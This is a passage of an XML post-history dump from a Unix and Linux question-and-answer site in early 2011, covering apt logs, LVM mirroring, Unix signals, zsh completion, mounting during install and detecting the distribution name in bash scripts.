  <row Id="14452" PostHistoryTypeId="2" PostId="6334" RevisionGUID="87f0a9d2-c9d9-41c8-bfdb-b5610d7eb4d7" CreationDate="2011-01-23T22:14:28.420" UserId="688" Text="Here's a sample output of `cat /var/log/apt/history.log`:&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-01-22  00:43:38&#xD;&#xA;    Commandline: apt-get --target-release experimental install libdbus-1-dev&#xD;&#xA;    Upgrade: libdbus-1-3:i386 (1.4.0-1, 1.4.1-1), libdbus-1-dev:i386 (1.4.0-1, 1.4.1-1)&#xD;&#xA;    End-Date: 2011-01-22  00:43:48&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-01-23  01:16:13&#xD;&#xA;    Commandline: apt-get --auto-remove purge webcheck&#xD;&#xA;    Purge: python-utidylib:i386 (0.2-6), python-beautifulsoup:i386 (3.1.0.1-2), libtidy-0.99-0:i386 (20091223cvs-1), webcheck:i386 (1.10.3)&#xD;&#xA;    End-Date: 2011-01-23  01:16:31&#xD;&#xA;&#xD;&#xA;As for your question, filter the stuff with grep (`cat /var/log/apt/history.log | grep Commandline`).&#xD;&#xA;&#xD;&#xA;[__note__] These files are rotated, so check for others (`ls /var/log/apt/history.log*`) so you don't miss anything." />
  <row Id="14453" PostHistoryTypeId="5" PostId="6334" RevisionGUID="74f875a9-0208-4d25-a5f8-e3ba003db3e1" CreationDate="2011-01-23T22:20:10.173" UserId="688" Comment="added 167 characters in body; deleted 7 characters in body" Text="Here's a sample output of `cat /var/log/apt/history.log`:&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-01-22  00:43:38&#xD;&#xA;    Commandline: apt-get --target-release experimental install libdbus-1-dev&#xD;&#xA;    Upgrade: libdbus-1-3:i386 (1.4.0-1, 1.4.1-1), libdbus-1-dev:i386 (1.4.0-1, 1.4.1-1)&#xD;&#xA;    End-Date: 2011-01-22  00:43:48&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-01-23  01:16:13&#xD;&#xA;    Commandline: apt-get --auto-remove purge webcheck&#xD;&#xA;    Purge: python-utidylib:i386 (0.2-6), python-beautifulsoup:i386 (3.1.0.1-2), libtidy-0.99-0:i386 (20091223cvs-1), webcheck:i386 (1.10.3)&#xD;&#xA;    End-Date: 2011-01-23  01:16:31&#xD;&#xA;&#xD;&#xA;As for your question, filter the stuff with grep (`cat /var/log/apt/history.log | grep Commandline`).&#xD;&#xA;&#xD;&#xA;Note that these files are rotated, so check for others (`ls /var/log/apt/history.log*`) so you don't miss anything:&#xD;&#xA;&#xD;&#xA;    -rw-r--r-- 1 root root 69120 2011-01-23 18:58 /var/log/apt/history.log&#xD;&#xA;    -rw-r--r-- 1 root root 19594 2011-01-01 02:48 /var/log/apt/history.log.1.gz&#xD;&#xA;" />
  <row Id="14454" PostHistoryTypeId="2" PostId="6335" RevisionGUID="274168af-f779-4c61-8bda-b6a821c1374e" CreationDate="2011-01-23T22:48:22.573" UserId="4110" Text="I read that when mirroring a logical volume a log of some sort is used to keep the files in sync. You can either set it so this log is in a separate physical volume or in memory. I also read that if the log is in memory, the system has to resync the volumes.&#xD;&#xA;&#xD;&#xA;Is there a performance hit for using the log in memory? Is the data at risk while the resync is happening?" />
  <row Id="14455" PostHistoryTypeId="1" PostId="6335" RevisionGUID="274168af-f779-4c61-8bda-b6a821c1374e" CreationDate="2011-01-23T22:48:22.573" UserId="4110" Text="LVM Mirrored Logical Volume Performance" />
  <row Id="14456" PostHistoryTypeId="3" PostId="6335" RevisionGUID="274168af-f779-4c61-8bda-b6a821c1374e" CreationDate="2011-01-23T22:48:22.573" UserId="4110" Text="élvmà" />
  <row Id="14457" PostHistoryTypeId="2" PostId="6336" RevisionGUID="30d142aa-fc50-40bc-9a67-c9bf4890ab68" CreationDate="2011-01-23T22:54:58.543" UserId="3154" Text="There's the [rocks][1] linux distro which is made for clustering, and is based on CentOS/RHEL.&#xD;&#xA;&#xD;&#xA;The strong point of rocks is that it'll for the most part manage and do a lot of the minutia for you.&#xD;&#xA;&#xD;&#xA; - It'll do automatic installation and reinstallation, and if your computers can boot via PXE, the initial install will consist of PXE booting your nodes. If you have a large number of compute-nodes, they use bittorrent internally for distributing packages, which removes a significant bottleneck for (re)installing the entire thing.&#xD;&#xA; - It'll give you a very homogeneous compute-environment by default.&#xD;&#xA; - By default it'll set up and use NFS internally, and there's options for using PVFS2 (which I haven't tried).&#xD;&#xA; - As for queueing/batch systems, it should set up and manage this for you, by default I think it uses SGE, there's also a roll (their software bundling format) for torque.&#xD;&#xA; - It'll ensure consistency in users/groups/etc. across your cluster&#xD;&#xA; - It'll graph resource utilization through ganglia&#xD;&#xA;&#xD;&#xA;If I were to dig up downsides&#xD;&#xA;&#xD;&#xA; - Adding/removing software from the&#xD;&#xA;   compute-nodes involves reinstalling&#xD;&#xA;   them (although, it does ensure&#xD;&#xA;   homogeneity).&#xD;&#xA; - Adding/removing&#xD;&#xA;   software involves either adding a&#xD;&#xA;   roll (their way of bundling&#xD;&#xA;   rpms/appliances), or editing&#xD;&#xA;   xml-files. However, it's fairly well&#xD;&#xA;   documented so if you're willing to&#xD;&#xA;   put some effort into reading the&#xD;&#xA;   documentation you should be ok. Plus&#xD;&#xA;   there's a mailing-list if you get&#xD;&#xA;   stuck.&#xD;&#xA; - It's based on CentOS/RHEL,&#xD;&#xA;   which is a little behind &quot;bleeding&#xD;&#xA;   edge&quot;&#xD;&#xA; - It'll (mostly) force you to do things &quot;their way&quot;, minor changes you might get away with maybe modifying some of the xml-config files, major changes might have to be implemented through making, adding or modifying rolls (their sw/addon format)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rocksclusters.org/" />
  <row Id="14458" PostHistoryTypeId="25" PostId="6327" RevisionGUID="78eb5be8-3c00-4647-8ab4-6247fe1e1e06" CreationDate="2011-01-23T22:55:47.903" Comment="http://twitter.com/#!/StackUnix/status/29311361666256897" />
  <row Id="14459" PostHistoryTypeId="5" PostId="6334" RevisionGUID="bf2fd9b2-a848-438b-8cf7-e8605f5ea740" CreationDate="2011-01-23T23:00:54.087" UserId="688" Comment="added 325 characters in body; deleted 14 characters in body" Text="Here's a sample output of `cat /var/log/apt/history.log`:&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-01-22  00:43:38&#xD;&#xA;    Commandline: apt-get --target-release experimental install libdbus-1-dev&#xD;&#xA;    Upgrade: libdbus-1-3:i386 (1.4.0-1, 1.4.1-1), libdbus-1-dev:i386 (1.4.0-1, 1.4.1-1)&#xD;&#xA;    End-Date: 2011-01-22  00:43:48&#xD;&#xA;&#xD;&#xA;    Start-Date: 2011-01-23  01:16:13&#xD;&#xA;    Commandline: apt-get --auto-remove purge webcheck&#xD;&#xA;    Purge: python-utidylib:i386 (0.2-6), python-beautifulsoup:i386 (3.1.0.1-2), libtidy-0.99-0:i386 (20091223cvs-1), webcheck:i386 (1.10.3)&#xD;&#xA;    End-Date: 2011-01-23  01:16:31&#xD;&#xA;&#xD;&#xA;As for your question, filter the stuff with grep (`cat /var/log/apt/history.log | grep Commandline`).&#xD;&#xA;&#xD;&#xA;Note that these files are rotated, so check for others (`ls /var/log/apt/history.log*`) so you don't miss anything:&#xD;&#xA;&#xD;&#xA;    -rw-r--r-- 1 root root 69120 2011-01-23 18:58 /var/log/apt/history.log&#xD;&#xA;    -rw-r--r-- 1 root root 19594 2011-01-01 02:48 /var/log/apt/history.log.1.gz&#xD;&#xA;&#xD;&#xA;**update**:&#xD;&#xA;&#xD;&#xA;* I've checked both **aptitude** and **synaptic** (versions **0.70** and **0.6.3** respectively), and they both log they activities there. The one setback with them is that they don't have the line starting with `Commandline`, so the `grep` trick won't work with them. Time to file some bugs :)" />
  <row Id="14460" PostHistoryTypeId="2" PostId="6337" RevisionGUID="59b360dd-40a4-46f0-a85a-470f5137b0e8" CreationDate="2011-01-23T23:07:31.727" UserId="885" Text="In addition to processes calling [`kill(2)`](http://pubs.opengroup.org/onlinepubs/009695399/functions/kill.html), some [signals](http://en.wikipedia.org/wiki/Signal_%28computing%29#List_of_signals) are sent by the kernel (or sometimes by the process itself) in various circumstances:&#xD;&#xA;&#xD;&#xA;* Terminal drivers send signals corresponding to various events:&#xD;&#xA;    * Key press notifications:&#xD;&#xA;      [`SIGINT`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29) (please go back to the main loop) on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;,&#xD;&#xA;      [`SIGQUIT`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29) (please quit immediately) on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;\\&lt;/kbd&gt;,&#xD;&#xA;      [`SIGTSTP`](http://en.wikipedia.org/wiki/SIGINT_%28POSIX%29) (please suspend) on &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;. The keys can be changed with the [`stty`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/stty.html) command.&#xD;&#xA;    * [`SIGTTIN`](http://en.wikipedia.org/wiki/SIGTTIN) and [`SIGTTOU`](http://en.wikipedia.org/wiki/SIGTTOU) are sent when a background process tries to read or write to its controlling terminal.&#xD;&#xA;    * [`SIGWINCH`](http://en.wikipedia.org/wiki/SIGWINCH) is sent to signal that the size of the terminal window has changed.&#xD;&#xA;* Some processor traps can generate a signal. The details are architecture and system dependent; here are typical examples:&#xD;&#xA;    * [`SIGBUS`](http://en.wikipedia.org/wiki/SIGBUS) for an unaligned access memory;&#xD;&#xA;    * [`SIGSEGV`](http://en.wikipedia.org/wiki/SIGSEGV) for an access to an unmapped page;&#xD;&#xA;    * [`SIGILL`](http://en.wikipedia.org/wiki/SIGILL) for an illegal instruction (bad opcode);&#xD;&#xA;    * [`SIGFPE`](http://en.wikipedia.org/wiki/SIGFPE) for a floating-point instruction with bad arguments (e.g. `sqrt(-1)`).&#xD;&#xA;* A number of signals notify the target process that some system event has occured:&#xD;&#xA;    * [`SIGALRM`](http://en.wikipedia.org/wiki/SIGALRM) notifies that a timer set by the process has expired. Timers can be set with [`alarm`](http://pubs.opengroup.org/onlinepubs/009695399/functions/alarm.html), [`setitimer`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setitimer.html) and others.&#xD;&#xA;    * [`SIGCHLD`](http://en.wikipedia.org/wiki/SIGCHLD) notifies a process that one of its children has died.&#xD;&#xA;    * [`SIGPIPE`](http://en.wikipedia.org/wiki/SIGPIPE) is generated when a process tries to write to a pipe when the reading end has been closed (the idea is that if you run `foo | bar` and `bar` exits, `foo` gets killed by a `SIGPIPE`).&#xD;&#xA;    * [`SIGPOLL`](http://en.wikipedia.org/wiki/SIGPOLL) (also called `SIGIO`) notifies the process that a pollable event has occured. POSIX specifies pollable events registered through the `I_SETSIG` [`ioctl`](http://pubs.opengroup.org/onlinepubs/009695399/functions/ioctl.html). Many systems allow pollable events on any file descriptor, set via the `O_ASYNC` [`fcntl`](http://www.freebsd.org/cgi/man.cgi?query=fcntl&amp;sektion=2&amp;manpath=FreeBSD+8.1-RELEASE&amp;format=html) flag. A related signal is [`SIGURG`](http://en.wikipedia.org/wiki/SIGURG), which notifies of urgent data on a device (registered via the `I_SETSIG` [`ioctl`](http://pubs.opengroup.org/onlinepubs/009695399/functions/ioctl.html)) or [socket](http://pubs.opengroup.org/onlinepubs/009695399/functions/xsh_chap02_10.html#tag_02_10_12).&#xD;&#xA;    * On some systems, [`SIGPWR`](http://en.wikipedia.org/wiki/SIGPWR) is sent to all processes when the [UPS](http://en.wikipedia.org/wiki/Uninterruptible_power_supply) signals that a power failure is imminent.&#xD;&#xA;&#xD;&#xA;These lists are not exhaustive. Standard signals are defined in [`signal.h`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/signal.h.html).&#xD;&#xA;&#xD;&#xA;Most signals can be caught and handled (or ignored) by the application. The only two portable signals that cannot be caught are [`SIGKILL`](http://en.wikipedia.org/wiki/SIGKILL) (just die) and [`STOP`](http://en.wikipedia.org/wiki/SIGSTOP) (stop execution).&#xD;&#xA;&#xD;&#xA;[`SIGSEGV`](http://en.wikipedia.org/wiki/SIGSEGV) ([segmentation fault](http://en.wikipedia.org/wiki/Segmentation_fault)) and its cousin [`SIGBUS`](http://en.wikipedia.org/wiki/SIGBUS) ([bus error](http://en.wikipedia.org/wiki/Bus_error)) can be caught, but it's a bad idea unless you really know what you're doing. A common application for catching them is printing a stack trace or other debug information. A more advanced application is to implement some kind of in-process memory management, or to trap bad instructions in virtual machine engines.&#xD;&#xA;" />
  <row Id="14461" PostHistoryTypeId="2" PostId="6338" RevisionGUID="8d491490-471b-4a60-83b1-15009e5c269f" CreationDate="2011-01-23T23:26:23.943" UserId="2459" Text="I have a couple of shell functions defined in my `.zshrc` which save on typing and allow integration with screen. For example:&#xD;&#xA;&#xD;&#xA;    function s()&#xD;&#xA;    {&#xD;&#xA;         screen -t &quot;$1&quot; ssh &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However, when I use these shell functions, I can't take advantage of zsh's built in command completion features. (In the case of SSH, automatically completing hostnames based on known_hosts and ssh_config). What's the preferred way to hook in to the existing completion mechanisms for commands I've created wrappers for?" />
  <row Id="14462" PostHistoryTypeId="1" PostId="6338" RevisionGUID="8d491490-471b-4a60-83b1-15009e5c269f" CreationDate="2011-01-23T23:26:23.943" UserId="2459" Text="How do I get my shell functions to make use of existing autocompletion in zsh?" />
  <row Id="14463" PostHistoryTypeId="3" PostId="6338" RevisionGUID="8d491490-471b-4a60-83b1-15009e5c269f" CreationDate="2011-01-23T23:26:23.943" UserId="2459" Text="ézshàéautocompleteà" />
  <row Id="14464" PostHistoryTypeId="2" PostId="6339" RevisionGUID="3c12c349-a1f1-48d3-8328-0415154c6acb" CreationDate="2011-01-23T23:34:07.090" UserId="3629" Text="To answer your second question first: `SIGSTOP` and `SIGKILL` cannot be caught by the application, but every other signal can, even `SIGSEGV`.  This property is useful for debugging -- for instance, with the right library support, you could listen for `SIGSEGV` and generate a stack backtrace to show just where that segfault happened.&#xD;&#xA;&#xD;&#xA;The official word (for Linux, anyway) on what each signal does is available by typing `man 7 signal` from a Linux command line.  http://linux.die.net/man/7/signal has the same information, but the tables are harder to read.&#xD;&#xA;&#xD;&#xA;However, without some experience with signals, it's hard to know from the short descriptions what they do in practice, so here's my interpretation:&#xD;&#xA;&#xD;&#xA;### Triggered from the keyboard&#xD;&#xA;&#xD;&#xA;* `SIGINT` happens when you hit `CTRL+C`.&#xD;&#xA;* `SIGQUIT` is triggered by `CTRL+\`, and dumps core.&#xD;&#xA;* `SIGTSTP` suspends your program when you hit `CTRL+Z`.  Unlike `SIGSTOP`, it is catchable, which gives programs like `vi` a chance to reset the terminal to a safe state before suspending themselves.&#xD;&#xA;&#xD;&#xA;### Terminal interactions&#xD;&#xA;&#xD;&#xA;* `SIGHUP` (&quot;hangup&quot;) is what happens when you close your xterm (or otherwise disconnect the terminal) while your program is running.&#xD;&#xA;* `SIGTTIN` and `SIGTTOU` pause your program if it tries to read from or write to the terminal while it's running in the background.  For `SIGTTOU` to happen, I think the program needs to be writing to `/dev/tty`, not just default stdout.&#xD;&#xA;&#xD;&#xA;### Triggered by a CPU exception&#xD;&#xA;&#xD;&#xA;These mean your program tried to do something wrong.&#xD;&#xA;&#xD;&#xA;* `SIGILL` means an illegal or unknown processor instruction.  This might happen if you tried to access processor I/O ports directly, for example.&#xD;&#xA;* `SIGFPE` means there was a hardware math error; most likely the program tried to divide by zero.&#xD;&#xA;* `SIGSEGV` means your program tried to access an unmapped region of memory.&#xD;&#xA;* `SIGBUS` means the program accessed memory incorrectly in some other way; I won't go into details for this summary.&#xD;&#xA;&#xD;&#xA;### Process interaction&#xD;&#xA;&#xD;&#xA;* `SIGPIPE` happens if you try to write to a pipe after the pipe's reader closed their end.  See `man 7 pipe`.&#xD;&#xA;* `SIGCHLD` happens when a child process you created either quits or is suspended (by `SIGSTOP` or similar).&#xD;&#xA;&#xD;&#xA;### Useful for self-signaling&#xD;&#xA;&#xD;&#xA;* `SIGABRT` is usually caused by the program calling the `abort()` function, and causes a core dump by default.  Sort of a &quot;panic button&quot;.&#xD;&#xA;* `SIGALRM` is caused by the `alarm()` system call, which will cause the kernel to deliver a `SIGALRM` to the program after a specified number of seconds.  See `man 2 alarm` and `man 2 sleep`.&#xD;&#xA;* `SIGUSR1` and `SIGUSR2` are used however the program likes.  They could be useful for signaling between processes.&#xD;&#xA;&#xD;&#xA;### Sent by the administrator&#xD;&#xA;&#xD;&#xA;These signals are usually sent from the command prompt, via the `kill` command, or `fg` or `bg` in the case of `SIGCONT`.&#xD;&#xA;&#xD;&#xA;* `SIGKILL` and `SIGSTOP` are the unblockable signals.  The first always terminates the process immediately; the second suspends the process.&#xD;&#xA;* `SIGCONT` resumes a suspended process.&#xD;&#xA;* `SIGTERM` is a catchable version of `SIGKILL`." />
  <row Id="14465" PostHistoryTypeId="5" PostId="6327" RevisionGUID="30eb9941-1a1e-48ed-9844-2fdcc8f41d17" CreationDate="2011-01-23T23:38:54.113" UserId="73" Comment="edited body; edited title; edited tags" Text="It often happens that a movie I'm watching has audio loudness levels set too low. Since I use a typical laptop, I can't just go raise the volume level of my speakers.&#xD;&#xA;&#xD;&#xA;I've raised all knobs offered by GNOME's Volume Control.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Are there tools out there that would allow me to take the loudness to beyond 100% level?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/iIU21.png&#xD;&#xA;" />
  <row Id="14466" PostHistoryTypeId="4" PostId="6327" RevisionGUID="30eb9941-1a1e-48ed-9844-2fdcc8f41d17" CreationDate="2011-01-23T23:38:54.113" UserId="73" Comment="edited body; edited title; edited tags" Text="Is there a tool that lets me exaggerate audio levels?" />
  <row Id="14467" PostHistoryTypeId="6" PostId="6327" RevisionGUID="30eb9941-1a1e-48ed-9844-2fdcc8f41d17" CreationDate="2011-01-23T23:38:54.113" UserId="73" Comment="edited body; edited title; edited tags" Text="ésoftwareörecàéaudioà" />
  <row Id="14468" PostHistoryTypeId="2" PostId="6340" RevisionGUID="55710b70-4cdf-4dea-a1de-8b8309a5aa59" CreationDate="2011-01-23T23:41:29.330" UserId="885" Text="I use the following function to say that a function or alias or wrapper script (e.g. `s`) is to be completed like an existing command (e.g. `ssh`):&#xD;&#xA;&#xD;&#xA;    compdefas () {&#xD;&#xA;      local a&#xD;&#xA;      a=&quot;$1&quot;&#xD;&#xA;      shift&#xD;&#xA;      compdef &quot;$_comps[$a]&quot; &quot;${(@)*}=$a&quot;&#xD;&#xA;    }&#xD;&#xA;    compdefas ssh s&#xD;&#xA;" />
  <row Id="14469" PostHistoryTypeId="2" PostId="6341" RevisionGUID="6c1efe5f-6610-46c3-9b56-09aebe06fda6" CreationDate="2011-01-23T23:51:17.140" UserId="2594" Text="You can start a nested X server (Xnest or better Xephyr) and launch another graphic environment in it." />
  <row Id="14470" PostHistoryTypeId="5" PostId="6335" RevisionGUID="c063413f-4219-4d18-89b2-e407ca00faf3" CreationDate="2011-01-23T23:59:27.073" UserId="4110" Comment="added 74 characters in body; edited tags" Text="I read that when mirroring a logical volume a log of some sort is used to keep the files in sync. You can either set it so this log is in a separate physical volume or in memory. I also read that if the log is in memory, the system has to resync the volumes.&#xD;&#xA;&#xD;&#xA;Is there a performance hit for using the log in memory? Is the data at risk while the resync is happening?&#xD;&#xA;&#xD;&#xA;Edit: I'm working with Ubuntu 10.04 in this case. I believe it's lvm2." />
  <row Id="14471" PostHistoryTypeId="6" PostId="6335" RevisionGUID="c063413f-4219-4d18-89b2-e407ca00faf3" CreationDate="2011-01-23T23:59:27.073" UserId="4110" Comment="added 74 characters in body; edited tags" Text="élinuxàéubuntuàélvmà" />
  <row Id="14472" PostHistoryTypeId="5" PostId="6338" RevisionGUID="120dc934-eeb7-433b-bfee-d0fdfbd2abac" CreationDate="2011-01-24T00:21:31.347" UserId="2459" Comment="Edited with weirdness around ssh vs man completion.; added 146 characters in body" Text="I have a couple of shell functions defined in my `.zshrc` which save on typing and allow integration with screen. For example:&#xD;&#xA;&#xD;&#xA;    function s()&#xD;&#xA;    {&#xD;&#xA;         screen -t &quot;$1&quot; ssh &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However, when I use these shell functions, I can't take advantage of zsh's built in command completion features. (In the case of SSH, automatically completing hostnames based on known_hosts and ssh_config). What's the preferred way to hook in to the existing completion mechanisms for commands I've created wrappers for?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Thanks to Gilles for his answer below. Using compdef appears to be the way to do this, but interestingly it doesn't seem to work uniformly. In this case, I have the following setup:&#xD;&#xA;&#xD;&#xA;    function s()&#xD;&#xA;    {&#xD;&#xA;        screen -t &quot;$1&quot; ssh &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    function m()&#xD;&#xA;    {&#xD;&#xA;        screen -t &quot;man.$1&quot; man &quot;$1&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    compdef $_comps[man] m&#xD;&#xA;    compdef $_comps[ssh] s&#xD;&#xA;&#xD;&#xA;Completion for my wrapper function 'm' works as expected, however completion for my function 's' does not; rather than attempting to complete hostnames, it appears to fall back to default autocompletion by providing me a list of files when I hit 'tab'. Is there some oddity in the way that SSH completion is handled which means I need to do something further?" />
  <row Id="14473" PostHistoryTypeId="6" PostId="2633" RevisionGUID="409e84c5-76b5-46c9-af62-e32b07851d65" CreationDate="2011-01-24T00:49:56.350" UserId="688" Comment="edited tags" Text="éterminalàésoftwareörecàémusicöplayerà" />
  <row Id="14474" PostHistoryTypeId="5" PostId="6335" RevisionGUID="7f88201e-e658-4e5a-a340-196b49ab4f6e" CreationDate="2011-01-24T01:27:55.483" UserId="4110" Comment="added 53 characters in body" Text="I read that when mirroring a logical volume a log of some sort is used to keep the files in sync. You can either set it so this log is in a separate physical volume or in memory. I also read that if the log is in memory, the system has to resync the volumes.&#xD;&#xA;&#xD;&#xA;Is there a performance hit for using the log in memory? For example, does it take much longer to boot the machine? Is the data at risk while the resync is happening?&#xD;&#xA;&#xD;&#xA;I'm working with Ubuntu 10.04 in this case. I believe it's lvm2." />
  <row Id="14475" PostHistoryTypeId="2" PostId="6342" RevisionGUID="5e0ef297-1acb-4355-bf08-648e592814b6" CreationDate="2011-01-24T01:34:25.837" UserId="2382" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am installing crunchbang linux (#!) to my eeePC and it is unable to start the disk partitioner.  I traced the problem to partman and partman-lvm that states&#xD;&#xA;&#xD;&#xA;&gt;No volume groups found.&#xD;&#xA;&#xD;&#xA;So I have done some snooping, and I can get around that part of the installer (that just hangs) if I can mount my future root partition to /target and then go from there.&#xD;&#xA;&#xD;&#xA;However, I'm having a lot of trouble with the &lt;code&gt;mount&lt;/code&gt; command.&#xD;&#xA;&#xD;&#xA;I want to mount /dev/sda1 to /target.  /dev/sda1 is ext3.&#xD;&#xA;&#xD;&#xA;When I try&#xD;&#xA;&#xD;&#xA;&gt; mount -t ext3 /dev/sda1 /target&#xD;&#xA;it states: &#xD;&#xA;&gt; mount -t ext3 /dev/sda1 /target/ failed: Invalid argument.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To get a place (/target) I simply did mkdir /target.  Perhaps this is not the proper way to do this?&#xD;&#xA;&#xD;&#xA;Gracias =)" />
  <row Id="14476" PostHistoryTypeId="1" PostId="6342" RevisionGUID="5e0ef297-1acb-4355-bf08-648e592814b6" CreationDate="2011-01-24T01:34:25.837" UserId="2382" Text="mount root fs to /target" />
  <row Id="14477" PostHistoryTypeId="3" PostId="6342" RevisionGUID="5e0ef297-1acb-4355-bf08-648e592814b6" CreationDate="2011-01-24T01:34:25.837" UserId="2382" Text="éinstallàémountàéext3à" />
  <row Id="14478" PostHistoryTypeId="25" PostId="6338" RevisionGUID="1a9e01e7-40a2-44ea-9946-d61e13dd400e" CreationDate="2011-01-24T01:55:47.927" Comment="http://twitter.com/#!/StackUnix/status/29356660069765120" />
  <row Id="14480" PostHistoryTypeId="2" PostId="6344" RevisionGUID="ad90b4bd-07c5-44da-999d-a46fc3652541" CreationDate="2011-01-24T04:19:27.623" UserId="4123" Text="what is the best way to share the same /home directories between different linux distribution? &#xD;&#xA;&#xD;&#xA;I mean, I want to have both , say, Fedora and Arch, and I want to find my files at home no matter which linux distro I boot into. But if I mount the same partition for /home then I may mess up the configurations saved inside /home directory.&#xD;&#xA;so what can I do?" />
  <row Id="14481" PostHistoryTypeId="1" PostId="6344" RevisionGUID="ad90b4bd-07c5-44da-999d-a46fc3652541" CreationDate="2011-01-24T04:19:27.623" UserId="4123" Text="Different linux distros sharing the same /home folder?" />
  <row Id="14482" PostHistoryTypeId="3" PostId="6344" RevisionGUID="ad90b4bd-07c5-44da-999d-a46fc3652541" CreationDate="2011-01-24T04:19:27.623" UserId="4123" Text="épartitionàémountà" />
  <row Id="14483" PostHistoryTypeId="25" PostId="6332" RevisionGUID="bf9fe38d-1930-4fba-a288-588ecb46edf8" CreationDate="2011-01-24T04:55:48.037" Comment="http://twitter.com/#!/StackUnix/status/29401958817210368" />
  <row Id="14484" PostHistoryTypeId="2" PostId="6345" RevisionGUID="dbd66d48-d59c-4de9-aed3-76164d2837ee" CreationDate="2011-01-24T05:00:24.403" UserId="3858" Text="I'm working on a simple bash script that should be able to run on Ubuntu and CentOS distributions (support for Debian and Fedora/RHEL would be a plus) and I need to know the name and version of the distribution the script is running (in order to trigger specific actions, for instance the creation of repositories). So far what I've got is this:&#xD;&#xA;&#xD;&#xA;    OS=$(awk '/DISTRIB_ID=/' /etc/+-release | sed 's/DISTRIB_ID=//' | tr '[:upper:]' '[:lower:]')&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VERSION=$(awk '/DISTRIB_RELEASE=/' /etc/+-release | sed 's/DISTRIB_RELEASE=//' | sed 's/[.]0/./')&#xD;&#xA;    &#xD;&#xA;    if [ -z &quot;$OS&quot; ]; then&#xD;&#xA;    	OS=$(awk '{print $1}' /etc/+-release | tr '[:upper:]' '[:lower:]')&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ -z &quot;$VERSION&quot; ]; then&#xD;&#xA;    	VERSION=$(awk '{print $3}' /etc/+-release)&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    echo $OS&#xD;&#xA;    echo $ARCH&#xD;&#xA;    echo $VERSION&#xD;&#xA;&#xD;&#xA;**(I've replaced `/etc/*-release` with `/etc/+-release` for better readability.)**&#xD;&#xA;&#xD;&#xA;This *seems* to work, returning `ubuntu` or `centos` (I haven't tried others) as the release name however, I have a feeling that there must be an easier, more reliable way of finding this out... No?" />
  <row Id="14485" PostHistoryTypeId="1" PostId="6345" RevisionGUID="dbd66d48-d59c-4de9-aed3-76164d2837ee" CreationDate="2011-01-24T05:00:24.403" UserId="3858" Text="Bash: Get Distribution Name and Version Number" />
  <row Id="14486" PostHistoryTypeId="3" PostId="6345" RevisionGUID="dbd66d48-d59c-4de9-aed3-76164d2837ee" CreationDate="2011-01-24T05:00:24.403" UserId="3858" Text="ébashàéubuntuàédistrosàécentosàédistributionöchoiceà" />
  <row Id="14487" PostHistoryTypeId="2" PostId="6346" RevisionGUID="321a3a7a-cb14-4e7c-9d1e-9ed912946e96" CreationDate="2011-01-24T05:32:17.520" UserId="3309" Text="You're doing it the right way. It may be that the device `/dev/sda1` doesn't exist yet. You also probably don't need to specify `-t ext3` since that should be default. I don't expect having it would cause any problem though." />
  <row Id="14488" PostHistoryTypeId="2" PostId="6347" RevisionGUID="9255cac2-e4b4-4617-a97e-e8aa1d88d59b" CreationDate="2011-01-24T05:34:28.877" UserId="3309" Text="Using `dpkg --get-selections` will list the packages explicitly requested for installation." />
  <row Id="14489" PostHistoryTypeId="2" PostId="6348" RevisionGUID="479968c1-6860-4fe7-9045-b28d85782c80" CreationDate="2011-01-24T05:35:54.820" UserId="3169" Text="Most recent distributions have a tool called `lsb_release`.&#xD;&#xA;&#xD;&#xA;I think `uname` to get `ARCH` is still the best way.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(lsb_release -si)&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$(lsb_release -sr)&#xD;&#xA;&#xD;&#xA;    echo OS=$OS, ARCH=$ARCH, VER=$VER" />
  <row Id="14490" PostHistoryTypeId="5" PostId="6348" RevisionGUID="dbead08a-93df-4fb1-af7a-6de7f1d036eb" CreationDate="2011-01-24T05:41:47.030" UserId="3169" Comment="added 344 characters in body; added 342 characters in body" Text="Most recent distributions have a tool called `lsb_release`.  Your `/etc/*-release` will be using `/etc/lsb-release` anyway, so if that file is there, running `lsb_release` should work too.&#xD;&#xA;&#xD;&#xA;I think `uname` to get `ARCH` is still the best way.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(lsb_release -si)&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$(lsb_release -sr)&#xD;&#xA;&#xD;&#xA;Or you could just source `/etc/lsb-release`:&#xD;&#xA;&#xD;&#xA;    . /etc/lsb-release&#xD;&#xA;    OS=$DISTRIB_ID&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$DISTRIB_RELEASE&#xD;&#xA;&#xD;&#xA;If you have to be compatible with older 